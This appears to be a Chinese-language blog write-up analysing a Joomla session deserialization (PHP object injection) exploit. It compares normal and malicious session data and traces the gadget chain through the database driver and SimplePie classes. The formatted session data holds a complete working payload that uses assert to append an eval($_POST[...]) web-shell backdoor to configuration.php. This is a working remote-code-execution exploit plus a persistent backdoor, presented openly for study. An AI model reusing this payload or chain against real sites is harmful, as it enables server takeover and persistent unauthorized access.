;a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

//正常的数据

__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}

可以看到和正常数据不同的地方的后面也有很多类似函数的参数，把上面的格式化一下



__default|

a:8:

{

  s:15:"session.counter";

  i:3;

  s:19:"session.timer.start";

  i:1588261345;

  s:18:"session.timer.last";

  i:1588261347;

  s:17:"session.timer.now";

  i:1588261570;

  s:8:"registry";

  O:24:"Joomla\Registry\Registry":2:

  {

    s:7:"\0\0\0data";

    O:8:"stdClass":1:

    {

      s:5:"users";

      O:8:"stdClass":1:

      {

        s:5:"login";

        O:8:"stdClass":1:

        {

          s:4:"form";

          O:8:"stdClass":2:

          {

            s:4:"data";

            a:5:

            {

              s:6:"return";s:39:"index.php?option=com_users&view=profile";

              s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

              s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";

              s:9:"secretkey";s:0:"";

              s:8:"remember";i:0;

            }

            s:6:"return";

            s:39:"index.php?option=com_users&view=profile";

          }

        }

      }

    }

    s:9:"separator";

    s:1:".";

  }

  s:4:"user";

  O:5:"JUser":26:

  {

    s:9:"\0\0\0isRoot";N;

    s:2:"id";i:0;

    s:4:"name";N;

    s:8:"username";N;

    s:5:"email";N;

    s:8:"password";N;

    s:14:"password_clear";s:0:"";

    s:5:"block";N;

    s:9:"sendEmail";i:0;

    s:12:"registerDate";N;

    s:13:"lastvisitDate";N;

    s:10:"activation";N;

    s:6:"params";N;

    s:6:"groups";a:1:{i:0;s:1:"9";}

    s:5:"guest";i:1;

    s:13:"lastResetTime";N;

    s:10:"resetCount";N;

    s:12:"requireReset";N;

    s:10:"\0\0\0_params";

    O:24:"Joomla\Registry\Registry":2:

    {

      s:7:"\0\0\0data";

      O:8:"stdClass":0:{}

      s:9:"separator";s:1:".";

    }

    s:14:"\0\0\0_authGroups";N;

    s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}

    s:15:"\0\0\0_authActions";N;

    s:12:"\0\0\0_errorMsg";N;

    s:13:"\0\0\0userHelper";

    O:18:"JUserWrapperHelper":0:{}

    s:10:"\0\0\0_errors";a:0:{}

    s:3:"aid";i:0;

  }

  s:13:"session.token";

  s:32:"878c42d725cd32dcc52aa2ca0c848ded";

  s:17:"application.queue";

  a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

Services 一文中给出所有的字母标示及其含义：

a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string

在其中的";s:8:"password";s:603:"AAA长度为27，正好为构造的payload，经过read函数的替换之后变为

之后经过一个303跳转，请求index.php/component/users/?view=login从新调用read()函数，触发payload

这里的password字段被替换为一个类

查看libraries/joomla/database/driver/mysqli.php中206行

public function __destruct()

{

    $this->disconnect();

}

public function disconnect()

{

    // Close the connection.

    if ($this->connection)

    {

        foreach ($this->disconnectHandlers as $h)

        {

            call_user_func_array($h, array( &$this));

        }

        mysqli_close($this->connection);

    }

    $this->connection = null;

}

存在一个call_user_func_array函数，但是这里面的&$this是我们不可控的，所以需要取寻找另一个利用点，新调用一个对象，在libraries/simplepie/simplepie.php中

这里simplepie是没有定义的，所以需要new JSimplepieFactory()，并且在SimplePie类中，需要满足if ($this->cache && $parsed_feed_url['scheme'] !== '')才能调用下面的call_user_func,并且为了满足能够实现函数使用，需要$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');中的cache_name_function和feed_url为我们的函数和命令

在这个序列化的过程中，我没有理解为什么要新new出来一个JDatabaseDriverMysql对象，这个对象extendsJDatabaseDriverMysqli,难道是为了再调用JDatabaseDriverMysqli中的方法么，如果有大佬知道的话，欢迎留言评论

参考文章

https://xz.aliyun.com/t/6522

https://www.freebuf.com/vuls/216130.html

https://blog.csdn.net/qq_43645782/article/details/105801796

巴特西